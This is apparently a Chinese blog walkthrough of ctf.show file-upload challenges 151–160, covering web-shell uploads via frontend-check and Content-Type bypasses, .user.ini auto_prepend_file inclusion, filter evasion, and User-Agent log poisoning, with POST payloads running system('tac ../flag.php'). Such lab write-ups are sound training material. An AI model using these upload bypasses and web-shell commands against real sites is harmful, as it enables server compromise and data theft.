这段时间一直在搞文件上传相关的知识,正好把ctf的题目写了写,也算是给自字做个总结!

不过ctf有一个缺点就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计!

一、实验准备

1.ctf网站:

www.ctf.show

2.工具:

burpsuite抓包工具、hackbar工具(如果大家没有可以私我)、firefox(火狐浏览器)

二、实验过程

(一)第151关 — 前端验证

前提:我们已知此处可以上传图片类型文件(或者右键查看网站源码可以看见只允许.png文件)

对于前端验证,我们常用的有两种方法进行绕过:

1.在右键检查->设置处启用禁止js

不过此方法不建议使用,因为我们有时候虽然能够绕过,但是当网页含有大量使用js编写的逻辑功能时,会导致网页部分功能瘫痪!

汗颜,ctf也失效了,所以还是老老实实使用第二种方法

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图

2.将后门以.jpg/.png/.gif等允许格式发送,使用bp抓包修改后缀

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(1)

上传成功!

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(2)

但是此时可能会有小可爱问呐:哎哎哎,你咋知道就是前端验证呢?说出你的证据!

我们右键查看网页源码,查看到js源码过滤逻辑,只允许我们上传.png文件

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(3)

3.利用后门文件

一句话木马,上下两种POST括号内参数无论带不带引号均可以:

对于上传成功的后门代码,我们有两种方法去利用(本文中我们统一使用第二种方法进行演示):

(1)通过蚁剑连接寻找flag文件

payload:

http://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/
upload/1.php

连接密码(即post中所填内容):

ws

(2)直接通过hackbar发送post包利用php内置system()函数执行

post data:ws=system(“ls ../”);

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(4)

post data:ws=system(“tac ../flag.php”);

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(5)

成功!

(二)第152关 — 不严谨的后端验证

1.上传后门及分析

此处考察我们content-type验证为:image/png、image/gif、image/jpg

传输正确文件抓包,content-type为image/png

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(6)

发送一句话木马1.php,修改content-type值为:image/png,但是没有包

此处注意一下,我直接上传1.php文件发现无法通过,定睛一看才发现前端验证都没通过,汗颜!上传1.png的木马抓包修改成1.php文件

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(7)

上传成功!

2.利用后门

与151关类似,我们使用第二种方法,通过hackbar直接发包利用函数的方式获取flag

payload:

http://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php

post data:ws=system(‘ls ../’);

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(8)

post data:ws=system(“tac ../flag.php”);

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(9)

成功!

(三)第153关 — 利用php中.user.ini文件进行解析

我们尝试使用151关和152关的思路进行解题,发现无法实现,继而想到后端是否过滤大小写,抓包后将1.png文件改成1.pHp,发现能够上传成功,但是无法利用

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(10)

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(11)

突然崩溃,但是!.user.ini文件出现了,正如apache服务中的.htaccess文件!

1. .user.ini文件特性

当网站进行扫描时,会将.user.ini文件指向路径的内容包含首页文件处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置

例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,“=”后紧跟需要包含文件路径

所以,本题的解题思路:

先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可

2.上传.user.ini文件(使用bp中repaeater重发器功能进行上传)

内容:auto_prepend_file=1.png

上传成功

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(12)

3.上传1.png格式一句话木马

上传成功!

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(13)

4.利用

首先访问..upload/index.php触发.user.ini文件将1.png内容写入index.php

paylaod:http://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php

其次操作如上述两关

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(14)

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(15)
(四)第154关 — 内容过滤

执行思路如153关,但是在上传1.png文件时注意所过滤的内容

1.上传.user.ini文件

(具体不在进行演示与上述153关相同)

2.上传1.png木马文件寻找过滤内容

过滤内容:php

经过多次尝试发包,当文件内容不包含php字眼时可以上传成功,所以过滤内容为php

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(16)

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(17)

所以我们的问题变成如何在不写入php字眼时传入后门?提供方式如下:

paylaod:

上传成功

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(18)

3.利用后门

是骡子是马我们拉出来遛一遛,进行前述关卡利用操作

首先访问首页文件触发.user.ini将1.png内容写入,触发后门

payload:http://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(19)

post data:ws=system(“ls ../”);

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(20)

post data:ws=system(“tac ../flag.php”);

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(21)

成功!

(五)第155关 — 内容过滤

整体思路与154关一样,只是过滤内容不一样,所以我们此关着重关注测试所过滤的内容!

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.测试过滤内容

发现仅仅去掉php即可成功发送(妈呀,那不是直接和154关一样啦!)

过滤内容:php

paylaod:

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(22)

3.利用(与154一致)

访问../upload/index.php触发->寻找flag.php文件所在位置->查看flag.php文件内容

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(23)

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(24)

成功!

——————————-我是漂亮的分界线———————————

(六)156关 — 内容过滤

由于ctfshow中一再强调关卡难度逐级递增,所以我们尝试上述关卡中的方法

1.上传.user.ini文件

内容:auto_prepend_file=1.png

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(25)

上传成功!

2.上传后门1.png文件

尝试过滤内容:

内容是否为:php  不是

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(26)

是否为:POST、eval? 不是
经过多次测试发现发现过滤内容是:[
CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(27)

所以问题转变成:如何在不使用[符号的同时上传后门

payload:

在php代码中可以使用“{}”代替“[]”,所以后门内容可以改写成如上

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(28)

上传成功!

3.利用后门

首先访问../upload/index.php将1.png内容写入index.php –> 开始利用后门

payload:

http://9c809923-7bd3-456a-b3bb-a754ec208124.challenge.ctf.show/upload/index.php

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(29)

post data:

ws=system(“ls ../”);

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(30)

post data:

ws=system(“tac ../flag.php”);

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(31)

(七)157关 — 内容过滤

处理思路与前面相同,首先上传.user.ini文件 –> 上传1.png文件判断过滤内容 -> 利用漏洞

1.上传.user.ini文件

内容:auto_prepend_file=1.png

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(32)

2.上传1.png文件

判断过滤内容:[;

payload:

<?=system('tac ../fl*’)?>

直接使用调用内部函数system(),fl*中*表示通配符,即所有以fl开头的文件,所以本关不在利用后门漏洞而是访问包含文件index.php执行函数

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(33)

3.利用

由于1.png中内容写入在../upload/index.php中,所以我们直接访问此路径即可执行函数

payload:

http://ff5b7999-7759-4737-9adf-2b2e4d01e19b.challenge.ctf.show/upload/index.php
 

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(34)

成功!

(八)158关 — 内容过滤

依旧三件套:上传.user.ini文件 -> 上传1.png文件判断过滤内容 -> 利用

1.上传.user.ini文件

内容:auto_prepend_file=1.png

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(35)

2.上传1.png文件

妈呀,直接使用上一关payload直接过了

payload:

<?=system('tac ../fl*’)?>

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(36)

3.利用

payload:

http://41702df0-be1b-4d38-9aa8-6d30dd8f4fc4.challenge.ctf.show/upload/

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(37)

(九)159关 — 内容过滤

依旧三件套:上传.user.ini文件 -> 上传1.png文件判断过滤内容 -> 利用

1.上传.user.ini文件

内容:auto_prepend_file=1.png

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(38)

2.上传1.png文件

上一关payload:

<?=system('tac ../fl*’)?>

上传上一关payload发现过滤内容进一步为:(

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(39)

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(40)

这下好了,连函数也没有办法执行了,看来只能如此了,上反引号,在linux操作系统系统中我们可以使用反引号包裹命令去执行,而之前我们所有获取结果的操作都是使用命令得到,所以使用反引号与我们目的不谋而合!

paylaod:

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(41)

3.利用

思路与上一关类似

payload:

http://1ad340f5-edcc-47a6-a780-8c952656afb4.challenge.ctf.show/upload

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(42)

(十)160关 — 内容过滤

三剑客思路如上

1.上传.user.ini文件

内容:auto_prepend_file=1.png

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(43)

2.上传1.png文件

继续发送上一关的payload发现无法进行利用

并且 和 都被过滤了

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(44)

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(45)

看来祸不单行,只能使出我最后的杀手锏!文件日志出来吧!

思路:众所周知,日志文件中一般会记录访问者的ua头,所以我们利用这一点,通过ua头向日志中注入后门代码,再将日志文件路径包含在上传的1.png文件中,又因为1.png会被.user.ini文件触发包含在index.php文件中,所以我们访问index.php可以使后门生效

上传1.png,熟知linux系统日志存放位置,又此时过滤log字眼,所以使用.进行连接

payload:

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(46)

我们访问看是否能查看日志

paylaod:

http://0734d5a2-6623-454a-890d-d95f9b33bfbc.challenge.ctf.show/upload/

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(47)

在ua头处写入后门,取名2.php

payload:

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(48)

发现后门代码没有被加进去,我们改变策略,使用:

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(49)

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!插图(50)

本站无任何商业行为
个人在线分享 » CTFshow之文件上传web入门151关-161关解密。包教包会!!!!
E-->